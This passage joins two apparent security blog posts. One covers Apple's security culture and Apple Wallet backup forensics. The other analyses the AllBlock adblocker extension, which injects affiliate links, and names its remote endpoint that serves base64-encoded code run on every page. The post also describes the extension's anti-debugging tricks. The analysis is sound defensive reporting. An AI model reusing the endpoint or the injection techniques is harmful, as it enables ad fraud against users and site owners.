Plus, let’s all remember the situation a few years back where someone was able to trick Apple support into helping them gain access to celebrity accounts, in order to steal their nude photos from iCloud.

On a different topic, Sarah Edwards (@iamevltwin) talked about the Apple Wallet. As a forensics expert, Sarah has a deep understanding of data and how to access it, and demonstrated the kind of data that could be obtained with access to iPhone backups. If an attacker could gain access to those backups, there’s a wealth of information about your daily activities, places that you frequent, and many other things to be harvested.

Apple has gone bananas… and who is Keith?

The most amusing part of the conference came during Sarah Edwards’ talk, when she discussed the data found in a particular database for Apple Wallet. This database contained hundreds of tables, and most of them were named after fruit. Yes, you heard me correctly—bananas, oranges, lemons, …durians! These are all the names of tables in a database relating to your wallet.

On first glance, this is quite puzzling. But it does make a certain amount of sense. If you’re trying to extract some data from this database, you’re going to have to put in a lot of work to figure out how to find it. The table names are not going to help you at all. That’s a pretty good thing, although I don’t envy the developers who have to keep all those databases straight. (“Where did we put the data on library cards again? Oh, yeah, in ‘kiwis!’”)

Although many of those tables are still a mystery, Sarah had been able to determine the purpose of some of them, through experimentation and observation. Still, many tables contained only things like identification numbers and timestamps, which by themselves are meaningless.

(As an aside, if the “durians” table doesn’t contain information relating to pay toilet transactions, I’ll be extremely disappointed!)

All privacy-related discussions aside, these table names remind me of Apple’s fun and playful side, which we so rarely get to see these days. Everyone knows Apple’s secretive facade, and security researchers often experience Apple’s sharp edges.

However, long-time Apple users know and love the “fun Apple.” This is the Apple that inscribed the signatures of all the engineers on the inside of the early one-piece Mac cases, where only a few would ever see them. Or the Apple that included a calendar file containing a history of Tolkien’s Middle Earth hidden in every copy of macOS. Or the Apple that used to Rickroll you on their Apple Watch support page!

Especially amusing was the discovery that, buried in the midst of all the fruit, there was a database simply named “keith.” Who is this Keith, and why is he in the wallet? Inquiring minds want to know!

For all of Apple’s flaws that we love to complain about, the discovery of this database brought back memories of the Apple that I love, and reminded me that it’s not just a faceless corporation, but is also a company full of people who also know and love the same Apple that I do.

The post Inside Apple: How Apple’s attitude impacts security appeared first on Malwarebytes Labs.

Researchers at Imperva uncovered a new ad injection campaign based on an adblocker named AllBlock. The AllBlock extension was available at the time of writing for Chrome and Opera in the respective web stores.

While disguising your adware as an adblocker may seem counterintuitive, it is actually a smart thing to do. But let’s have a look at what they did and how, first.

AllBlock

As we mentioned, AllBlock is advertised as an adblocker on its site. It promises to block advertisements on YouTube and Facebook, among others.

When you’re installing the Chrome extension, the permissions it asks for make sense for an adblocker.

Even though that may seem like a lot to allow, and it is almost a carte blanche, any adblocker that you expect to work effectively will need a full set of permissions to at least “read and change all your data on all websites.”

What Imperva found is that the extension replaces all the URLs on the site a user is visiting with URLs that lead to an affiliate. This ad injection technique means that when the user clicks on any of the modified links on the webpage, they will be redirected to an affiliate link. Via this affiliate fraud, the attacker earns money when specific actions like registration or sale of the product take place.

Ad injection

Ad injection is the name for a set of techniques by which ads are inserted in webpages without getting the permission of site owners or paying them. Some of the most commonly seen tactics are:

• Replacing existing ads with ads provided by the attacker
• Adding ads to sites that normally have none
• Adding or changing affiliate codes so the attacker gets paid instead of the affiliate that had permission to advertise on a site

To pull this off, malicious browser extensions, malware, and stored cross-site scripting (XSS) are the most commonly found techniques.

In this case it was a malicious extension that used some interesting methods.

To make the extension look legitimate, the developers actually implemented ad blocking functionality. Further, the code was not obfuscated and nothing immediately screams malware.

All the URLs that are present in a visited website are sent to a remote server. This server replies with a set of URLs to replace them with. The reading and replacing of the URLs is done by the extension which was given permissions to do so.

To avoid detection, the threat actor has taken a few more measures besides looking harmless. The malicious javascript file detects debugging, it clears the debug console every 100 ms, and major search engines (with a special focus on Russian engines) are excluded.

A part of the code in the bg.js script that is part of the extension makes an HTTP request to allblock.net/api/stat/?id=nfofcmcpljmjdningbllljenopcmdhjf and receives a JSON response with two base64 encoded properties “data” and “urls”. The “data” part is the code that gets injected on every site the affected browser opens, and the “urls” part looks like this:

{"youtubeInput":["*://*.youtube.com/get_video_info*adunit*","*://*.g.doubleclick.net/pagead*","*://*.youtube.com/pagead*","*://*.googlesyndication.com/pagead*","*://*.google.com/pagead*","*://*.youtube.com/youtube*ad_break*"],"vkInput":["https://vk.com/al_video.php?act=ad_event*","https://vk.com/al_video.php?act=ads_stat*","https://vk.com/ads_rotate*","https://ad.mail.ru/*","https://ads.adfox.ru/*"]}

Conclusion

The extension the Imperva team found actually blocks ads, but it also runs a background script that injects a snippet of JavaScript code into every new tab that a user opens in the affected browser. The end goal is to make money by replacing legitimate URLs on the website with URLs of their own. These URLs include affiliate codes, so they get paid if you click on one of those links and benefit from any sales that may come out of these clicks.

Ad blockers that are able to block advertisements on popular social media like YouTube and Facebook may seem like the holy grail to some users. To those that are interested in ad blocking and haven’t found the right program yet, please read “How to block ads like a pro.”

And as we have mentioned before, it makes sense to give ad blockers the permissions that they need to do their job. So we feel the need to emphasize that you should only give those permission to extensions that you actually trust, not just because you think “it” needs them.

Ad blocker campaigns

The Imperva team writes on their blog that they believe that there is a larger campaign taking place that may utilize different delivery methods and more extensions.

In our own Malwarebytes’ research we have found a series of adblockers that were pushed out through websites showing fake alerts like this one.

We could not find anything wrong with these extensions, and we also found that they were all using the publicly available Adguard blocklist. So we didn’t really follow up on them because, same as the one described above, they looked legitimate. The only thing that really made them look suspicious was that they were promoted through these “fake alert” sites.

For now it is hard to tell whether we have been tracking the same or similar campaigns. Since I haven’t seen the bg.js script before they may be completely different, but I will try and contact the Imperva team and compare notes. If anything interesting comes out of that, we will let you know.

Stay safe, everyone!

The post Adblocker promises to blocks ads, injects them instead appeared first on Malwarebytes Labs.